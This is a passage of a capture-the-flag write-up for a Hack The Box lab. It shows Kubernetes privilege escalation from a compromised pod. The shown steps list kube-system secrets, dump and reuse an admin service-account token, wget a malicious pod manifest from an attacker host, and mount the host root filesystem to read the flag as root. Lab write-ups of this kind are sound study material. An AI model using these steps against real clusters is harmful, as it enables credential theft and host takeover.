root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl get namespaces Error from server (Forbidden): namespaces is forbidden: User “system:serviceaccount:dev:default” cannot list resource “namespaces” in API group “” at the cluster scope root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl get pods Error from server (Forbidden): pods is forbidden: User “system:serviceaccount:dev:default” cannot list resource “pods” in API group “” in the namespace “dev”
From the webapp-pod we found several move namespaces, trying to get pods from each of them doesn’t work, neither can we exec pods: root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl auth can-i exec pods no
After some random testing I came across this: root@devnode-deployment-cd86fb5c-6ms8d:/tmp# kubectl auth can-i list secrets -n kube-system yes
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl get secrets -n kube-system NAME TYPE DATA AGE attachdetach-controller-token-5dkkr kubernetes.io/service-account-token 3 221d bootstrap-signer-token-xl4lg kubernetes.io/service-account-token 3 221d c-admin-token-tfmp2 kubernetes.io/service-account-token 3 220d certificate-controller-token-thnxw kubernetes.io/service-account-token 3 221d clusterrole-aggregation-controller-token-scx4p kubernetes.io/service-account-token 3 221d coredns-token-dbp92 kubernetes.io/service-account-token 3 221d cronjob-controller-token-chrl7 kubernetes.io/service-account-token 3 221d daemon-set-controller-token-cb825 kubernetes.io/service-account-token 3 221d default-token-l85f2 kubernetes.io/service-account-token 3 221d deployment-controller-token-cwgst kubernetes.io/service-account-token 3 221d disruption-controller-token-kpx2x kubernetes.io/service-account-token 3 221d endpoint-controller-token-2jzkv kubernetes.io/service-account-token 3 221d endpointslice-controller-token-w4hwg kubernetes.io/service-account-token 3 221d endpointslicemirroring-controller-token-9qvzz kubernetes.io/service-account-token 3 221d expand-controller-token-sc9fw kubernetes.io/service-account-token 3 221d generic-garbage-collector-token-2hng4 kubernetes.io/service-account-token 3 221d horizontal-pod-autoscaler-token-6zhfs kubernetes.io/service-account-token 3 221d job-controller-token-h6kg8 kubernetes.io/service-account-token 3 221d kube-proxy-token-jc8kn kubernetes.io/service-account-token 3 221d namespace-controller-token-2klzl kubernetes.io/service-account-token 3 221d node-controller-token-k6p6v kubernetes.io/service-account-token 3 221d persistent-volume-binder-token-fd292 kubernetes.io/service-account-token 3 221d pod-garbage-collector-token-bjmrd kubernetes.io/service-account-token 3 221d pv-protection-controller-token-9669w kubernetes.io/service-account-token 3 221d pvc-protection-controller-token-w8m9r kubernetes.io/service-account-token 3 221d replicaset-controller-token-bzbt8 kubernetes.io/service-account-token 3 221d replication-controller-token-jz8k8 kubernetes.io/service-account-token 3 221d resourcequota-controller-token-wg7rr kubernetes.io/service-account-token 3 221d root-ca-cert-publisher-token-cnl86 kubernetes.io/service-account-token 3 221d service-account-controller-token-44bfm kubernetes.io/service-account-token 3 221d service-controller-token-pzjnq kubernetes.io/service-account-token 3 221d statefulset-controller-token-z2nsd kubernetes.io/service-account-token 3 221d storage-provisioner-token-tk5k5 kubernetes.io/service-account-token 3 221d token-cleaner-token-wjvf9 kubernetes.io/service-account-token 3 221d ttl-controller-token-z87px kubernetes.io/service-account-token 3 221d
I have no clue of what to do with all these secrets, however we can see that one of them have a shorter age (220d) and the name seems very interesting: c-admin-token-tfmp2. Lets look at it!
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl describe secrets/c-admin-token-tfmp2 -n kube-system Name: c-admin-token-tfmp2 Namespace: kube-system Labels:
Type: kubernetes.io/service-account-token
Data ==== token: eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow ca.crt: 1066 bytes namespace: 11 bytes
- The next obvious step forward is to use this admin token to gather more information. Reading on kubernetes.io i find: > “When using kubectl, use your id_token with the –token flag or add it directly to your kubeconfig”
To make the output a bit clearner, lets write the token to a variable and use that instead. root@devnode-deployment-cd86fb5c-6ms8d:/tmp# export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLXRmbXAyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIyNDYzNTA1Zi05ODNlLTQ1YmQtOTFmNy1jZDU5YmZlMDY2ZDAiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.Xk96pdC8wnBuIOm4Cgud9Q7zpoUNHICg7QAZY9EVCeAUIzh6rvfZJeaHucMiq8cm93zKmwHT-jVbAQyNfaUuaXmuek5TBdY94kMD5A_owFh-0kRUjNFOSr3noQ8XF_xnWmdX98mKMF-QxOZKCJxkbnLLd_h-P2hWRkfY8xq6-eUP8MYrYF_gs7Xm264A22hrVZxTb2jZjUj7LTFRchb7bJ1LWXSIqOV2BmU9TKFQJYCZ743abeVB7YvNwPHXcOtLEoCs03hvEBtOse2POzN54pK8Lyq_XGFJN0yTJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow <TJuuQQLtwroF3579DBbZUkd4JBQQYrpm6Wdm9tjbOyGL9KRsNow
Lets try a simple POC if we can gather more information now with the use of the admin token. Previously we wasn’t able to get namespace information, however now we are! root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl –token=\(TOKEN get namespaces <6ms8d:/tmp# ./kubectl --token=\)TOKEN get namespaces NAME STATUS AGE default Active 221d dev Active 220d kube-node-lease Active 221d kube-public Active 221d kube-system Active 221d
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl –token=$TOKEN auth can-i exec pods yes
Now we are able to exec pods, which probably means we’ll be able to get root.txt.
- Create an malicious attacker.yaml file to escalate privilege with.
[root:/git/htb/unobtainium]# cat attacker.yaml (master✱) apiVersion: v1 kind: Pod metadata: labels: run: attacker-pod name: attacker-pod namespace: default spec: volumes: - name: host-fs hostPath: path: / containers: - image: localhost:5000/node_server imagePullPolicy: Always name: attacker-pod volumeMounts: - name: host-fs mountPath: /root restartPolicy: Never
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# wget http://10.10.14.2:4499/attacker.yaml root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl –token=\(TOKEN apply -f attacker.yaml pod/attacker-pod created root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl --token=\)TOKEN exec -it attacker-pod -n default – bash Unable to use a TTY - input is not a terminal or the right kind of file id && hostname uid=0(root) gid=0(root) groups=0(root) attacker-pod cat root.txt 59538ae4da62a3871d1cb220284bcda6
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Prototype Pollution: https://blog.0daylabs.com/2019/02/15/prototype-pollution-javascript/ https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution
Bash Variable Substitution: https://unix.stackexchange.com/questions/312702/bash-variable-substitution-in-a-json-string
Install kubectl: https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux
Kubernetes kubectl commands: https://book.hacktricks.xyz/pentesting/pentesting-kubernetes/enumeration-from-a-pod https://kubernetes.io/docs/reference/access-authn-authz/authorization/ https://book.hacktricks.xyz/pentesting/pentesting-kubernetes
Kubectl token: https://kubernetes.io/docs/reference/access-authn-authz/authentication/